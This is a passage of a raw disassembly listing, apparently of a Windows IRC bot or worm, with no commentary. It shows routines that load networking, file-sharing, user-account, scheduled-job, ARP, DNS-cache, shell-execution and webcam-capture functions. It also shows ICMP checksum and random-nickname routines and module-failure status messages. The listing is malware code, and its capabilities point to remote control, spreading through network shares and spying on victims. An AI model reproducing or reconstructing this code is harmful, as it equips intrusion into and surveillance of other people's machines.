		cmp	dword_4CB680, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB63C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB67C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6E8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB634, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB5F8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB668, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6D8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB60C, ebx
		jz	short loc_40A2E8
		cmp	eax, ebx
		jnz	short loc_40A2F2
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2DD:				; CODE XREF: sub_409B13+51Fj
		call	near ptr 2680867h
		nop
		mov	dword_4CB738, eax


loc_40A2E8:				; CODE XREF: sub_409B13+6BEj
					; sub_409B13+6CAj ...
		mov	dword_4CB734, 1


loc_40A2F2:				; CODE XREF: sub_409B13+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F7
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB590, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB518, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB61C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB5C8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB628, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB558, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB550, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB560, eax
		call	esi
		cmp	dword_4CB590, ebx
		mov	ecx, dword_4CB5EC
		mov	dword_4CB688, eax
		jz	short loc_40A3D3
		cmp	dword_4CB518, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB61C, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB5C8, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB628, ebx
		jz	short loc_40A3D3
		cmp	ecx, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB558, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB550, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB560, ebx
		jz	short loc_40A3D3
		cmp	eax, ebx
		jnz	short loc_40A3DD


loc_40A3D3:				; CODE XREF: sub_409B13+87Ej
					; sub_409B13+886j ...
		mov	dword_4CB73C, 1


loc_40A3DD:				; CODE XREF: sub_409B13+8BEj
		cmp	ecx, ebx
		jz	short loc_40A412
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB604, eax
		jnz	short loc_40A412
		jmp	short loc_40A40C
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: sub_409B13+7EAj
		nop
		call	near ptr 2680867h
		mov	dword_4CB740, eax
		mov	dword_4CB73C, 1


loc_40A40C:				; CODE XREF: sub_409B13+8E2j
		mov	dword_4CB604, ebx


loc_40A412:				; CODE XREF: sub_409B13+8CCj
					; sub_409B13+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45C
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB70C, eax
		call	esi
		cmp	dword_4CB5DC, ebx
		mov	dword_4CB56C, eax
		jz	short loc_40A467
		cmp	dword_4CB70C, ebx
		jz	short loc_40A467
		cmp	eax, ebx
		jnz	short loc_40A471
		jmp	short loc_40A467
; ---------------------------------------------------------------------------


loc_40A45C:				; CODE XREF: sub_409B13+90Aj
		nop
		call	near ptr 2680867h
		mov	dword_4CB748, eax


loc_40A467:				; CODE XREF: sub_409B13+939j
					; sub_409B13+941j ...
		mov	dword_4CB744, 1


loc_40A471:				; CODE XREF: sub_409B13+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A578
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB548, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB520, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB598, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6E4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB580, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB52C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB51C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB5B4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB6AC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB664, eax
		call	esi
		cmp	dword_4CB548, ebx
		mov	dword_4CB588, eax
		jz	short loc_40A583
		cmp	dword_4CB520, ebx
		jz	short loc_40A583
		cmp	dword_4CB598, ebx
		jz	short loc_40A583
		cmp	dword_4CB5CC, ebx
		jz	short loc_40A583
		cmp	dword_4CB6E4, ebx
		jz	short loc_40A583
		cmp	dword_4CB580, ebx
		jz	short loc_40A583
		cmp	dword_4CB52C, ebx
		jz	short loc_40A583
		cmp	dword_4CB51C, ebx
		jz	short loc_40A583
		cmp	dword_4CB5B4, ebx
		jz	short loc_40A583
		cmp	dword_4CB6AC, ebx
		jz	short loc_40A583
		cmp	dword_4CB664, ebx
		jnz	short loc_40A58D
		jmp	short loc_40A583
; ---------------------------------------------------------------------------


loc_40A578:				; CODE XREF: sub_409B13+969j
		nop
		call	near ptr 2680867h
		mov	dword_4CB750, eax


loc_40A583:				; CODE XREF: sub_409B13+A11j
					; sub_409B13+A19j ...
		mov	dword_4CB74C, 1


loc_40A58D:				; CODE XREF: sub_409B13+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C2
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB570, eax
		call	esi
		cmp	dword_4CB570, ebx
		mov	dword_4CB64C, eax
		jz	short loc_40A5CD
		cmp	eax, ebx
		jnz	short loc_40A5D7
		jmp	short loc_40A5CD
; ---------------------------------------------------------------------------


loc_40A5C2:				; CODE XREF: sub_409B13+A85j
		call	near ptr 2680867h
		nop
		mov	dword_4CB758, eax


loc_40A5CD:				; CODE XREF: sub_409B13+AA7j
					; sub_409B13+AADj
		mov	dword_4CB754, 1


loc_40A5D7:				; CODE XREF: sub_409B13+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60C
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi
		cmp	dword_4CB6D0, ebx
		mov	dword_4CB6CC, eax
		jz	short loc_40A617
		cmp	eax, ebx
		jnz	short loc_40A621
		jmp	short loc_40A617
; ---------------------------------------------------------------------------


loc_40A60C:				; CODE XREF: sub_409B13+ACFj
		nop
		call	near ptr 2680867h
		mov	dword_4CB760, eax


loc_40A617:				; CODE XREF: sub_409B13+AF1j
					; sub_409B13+AF7j
		mov	dword_4CB75C, 1


loc_40A621:				; CODE XREF: sub_409B13+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A680
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6FC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6F4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB6BC, eax
		call	esi
		cmp	dword_4CB6FC, ebx
		mov	dword_4CB58C, eax
		jz	short loc_40A68B
		cmp	dword_4CB6F4, ebx
		jz	short loc_40A68B
		cmp	dword_4CB6BC, ebx
		jz	short loc_40A68B
		cmp	eax, ebx
		jnz	short loc_40A695
		jmp	short loc_40A68B
; ---------------------------------------------------------------------------


loc_40A680:				; CODE XREF: sub_409B13+B19j
		call	near ptr 2680867h
		nop
		mov	dword_4CB768, eax


loc_40A68B:				; CODE XREF: sub_409B13+B55j
					; sub_409B13+B5Dj ...
		mov	dword_4CB764, 1


loc_40A695:				; CODE XREF: sub_409B13+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6CA
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB5C0, eax
		call	esi
		cmp	dword_4CB5C0, ebx
		mov	dword_4CB6C8, eax
		jz	short loc_40A6D5
		cmp	eax, ebx
		jnz	short loc_40A6DF
		jmp	short loc_40A6D5
; ---------------------------------------------------------------------------


loc_40A6CA:				; CODE XREF: sub_409B13+B8Dj
		call	near ptr 2680867h
		nop
		mov	dword_4CB770, eax


loc_40A6D5:				; CODE XREF: sub_409B13+BAFj
					; sub_409B13+BB5j
		mov	dword_4CB76C, 1


loc_40A6DF:				; CODE XREF: sub_409B13+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A768
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB690, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6DC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB618, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5D0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB670, eax
		call	esi
		cmp	dword_4CB690, ebx
		mov	dword_4CB5E0, eax
		jz	short loc_40A773
		cmp	dword_4CB6DC, ebx
		jz	short loc_40A773
		cmp	dword_4CB618, ebx
		jz	short loc_40A773
		cmp	dword_4CB5D0, ebx
		jz	short loc_40A773
		cmp	dword_4CB670, ebx
		jz	short loc_40A773
		cmp	eax, ebx
		jnz	short loc_40A77D
		jmp	short loc_40A773
; ---------------------------------------------------------------------------


loc_40A768:				; CODE XREF: sub_409B13+BD7j
		call	near ptr 2680867h
		nop
		mov	dword_4CB778, eax


loc_40A773:				; CODE XREF: sub_409B13+C2Dj
					; sub_409B13+C35j ...
		mov	dword_4CB774, 1


loc_40A77D:				; CODE XREF: sub_409B13+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B2
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi
		cmp	dword_4CB5A4, ebx
		mov	dword_4CB684, eax
		jz	short loc_40A7BD
		cmp	eax, ebx
		jnz	short loc_40A7C7
		jmp	short loc_40A7BD
; ---------------------------------------------------------------------------


loc_40A7B2:				; CODE XREF: sub_409B13+C75j
		call	near ptr 2680867h
		nop
		mov	dword_4CB780, eax


loc_40A7BD:				; CODE XREF: sub_409B13+C97j
					; sub_409B13+C9Dj
		mov	dword_4CB77C, 1


loc_40A7C7:				; CODE XREF: sub_409B13+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CF	proc near		; CODE XREF: sub_401ACD+2537p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB714, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A817
		push	dword_4CB718
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A817:				; CODE XREF: sub_40A7CF+1Aj
		cmp	dword_4CB71C, esi
		jz	short loc_40A84B
		push	dword_4CB720
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A84B:				; CODE XREF: sub_40A7CF+4Ej
		cmp	dword_4CB724, esi
		jz	short loc_40A87F
		push	dword_4CB728
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A87F:				; CODE XREF: sub_40A7CF+82j
		cmp	dword_4CB72C, esi
		jz	short loc_40A8B3
		push	dword_4CB730
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8B3:				; CODE XREF: sub_40A7CF+B6j
		cmp	dword_4CB734, esi
		jz	short loc_40A8E7
		push	dword_4CB738
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8E7:				; CODE XREF: sub_40A7CF+EAj
		cmp	dword_4CB73C, esi
		jz	short loc_40A91B
		push	dword_4CB740
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A91B:				; CODE XREF: sub_40A7CF+11Ej
		cmp	dword_4CB744, esi
		jz	short loc_40A94F
		push	dword_4CB748
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A94F:				; CODE XREF: sub_40A7CF+152j
		cmp	dword_4CB74C, esi
		jz	short loc_40A983
		push	dword_4CB750
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A983:				; CODE XREF: sub_40A7CF+186j
		cmp	dword_4CB754, esi
		jz	short loc_40A9B7
		push	dword_4CB758
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9B7:				; CODE XREF: sub_40A7CF+1BAj
		cmp	dword_4CB75C, esi
		jz	short loc_40A9EB
		push	dword_4CB760
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9EB:				; CODE XREF: sub_40A7CF+1EEj
		cmp	dword_4CB764, esi
		jz	short loc_40AA1F
		push	dword_4CB768
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA1F:				; CODE XREF: sub_40A7CF+222j
		cmp	dword_4CB76C, esi
		jz	short loc_40AA53
		push	dword_4CB770
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA53:				; CODE XREF: sub_40A7CF+256j
		cmp	dword_4CB774, esi
		jz	short loc_40AA87
		push	dword_4CB778
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA87:				; CODE XREF: sub_40A7CF+28Aj
		cmp	dword_4CB77C, esi
		jz	short loc_40AABB
		push	dword_4CB780
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AABB:				; CODE XREF: sub_40A7CF+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42DA28
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE8
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40AAE8:				; CODE XREF: sub_40A7CF+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C96p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB22
		push	[esp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jnz	short loc_40AB1B
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1B:				; CODE XREF: sub_40AAFA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB22:				; CODE XREF: sub_40AAFA+Dj
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB23	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB570
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB31
		call	ecx

locret_40AB31:				; CODE XREF: sub_40AB23+Aj
		retn
sub_40AB23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB32	proc near		; CODE XREF: sub_401ACD:loc_403F5Ep

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6D0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF8
		sub	ecx, 32h
		jz	loc_40ABF1
		sub	ecx, 48h
		jz	short loc_40AB92
		sub	ecx, 6Eh
		jz	short loc_40AB8B


loc_40AB74:				; CODE XREF: sub_40AB32+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DC3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD2
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: sub_40AB32+40j
		push	offset unk_42DC18
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40AB92:				; CODE XREF: sub_40AB32+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBF
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6D0
		cmp	eax, edi
		jz	short loc_40ABF8
		jmp	short loc_40AB74
; ---------------------------------------------------------------------------


loc_40ABBF:				; CODE XREF: sub_40AB32+79j
		push	offset unk_42DBE8


loc_40ABC4:				; CODE XREF: sub_40AB32+5Ej
					; sub_40AB32+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD2:				; CODE XREF: sub_40AB32+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40ABE2:				; CODE XREF: sub_40AB32+C8j
					; sub_40AB32+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF1:				; CODE XREF: sub_40AB32+32j
		push	offset unk_42DBB8
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40ABF8:				; CODE XREF: sub_40AB32+29j
					; sub_40AB32+89j
		cmp	[esi], edi
		jbe	short loc_40ABE2
		lea	ebx, [esi+4]


loc_40ABFF:				; CODE XREF: sub_40AB32+DAj
		push	ebx
		call	dword_4CB6CC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFF
		jmp	short loc_40ABE2
sub_40AB32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC10	proc near		; CODE XREF: sub_401ACD+2248p
					; sub_401ACD+2399p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5F8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB784
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC69	proc near		; CODE XREF: sub_412B09+24Cp
					; sub_412B09+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC92
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC85:				; CODE XREF: sub_40AC69+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC85
		pop	edi
		jmp	short loc_40AC96
; ---------------------------------------------------------------------------


loc_40AC92:				; CODE XREF: sub_40AC69+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC96:				; CODE XREF: sub_40AC69+27j
		test	esi, esi
		pop	esi
		jz	short loc_40ACA0
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40ACA0:				; CODE XREF: sub_40AC69+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC69	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB6	proc near		; CODE XREF: sub_40B08E+49p
					; DATA XREF: ___:off_42DC88o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26907ACh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42DCF0[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1E


loc_40ACF8:				; CODE XREF: sub_40ACB6+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF8


loc_40AD1E:				; CODE XREF: sub_40ACB6+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB6	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 81E89057h, 5002285Ah, 10BA7E8h, 247C8B00h, 2404C710h
		dd 42913Ch, 42D01468h, 571C6A00h, 10C37E8h, 83F63300h
		dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah
		dd 685752F9h, 42BB60h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh
		dd 0DA7C0042h, 5E5FC78Bh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD81	proc near		; CODE XREF: sub_401ACD+69CDp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26907ACh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC4


loc_40ADAE:				; CODE XREF: sub_40AD81+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAE


loc_40ADC4:				; CODE XREF: sub_40AD81+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD81	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 26907ACh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431948
		push	eax
		push	esi
		call	near ptr 26C0000h
		nop
		movsx	eax, byte_431948
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE0A:				; CODE XREF: ___:0040AE15j
		cmp	eax, ecx
		jnz	short loc_40AE11
		mov	[ebp-4], edx


loc_40AE11:				; CODE XREF: ___:0040AE0Cj
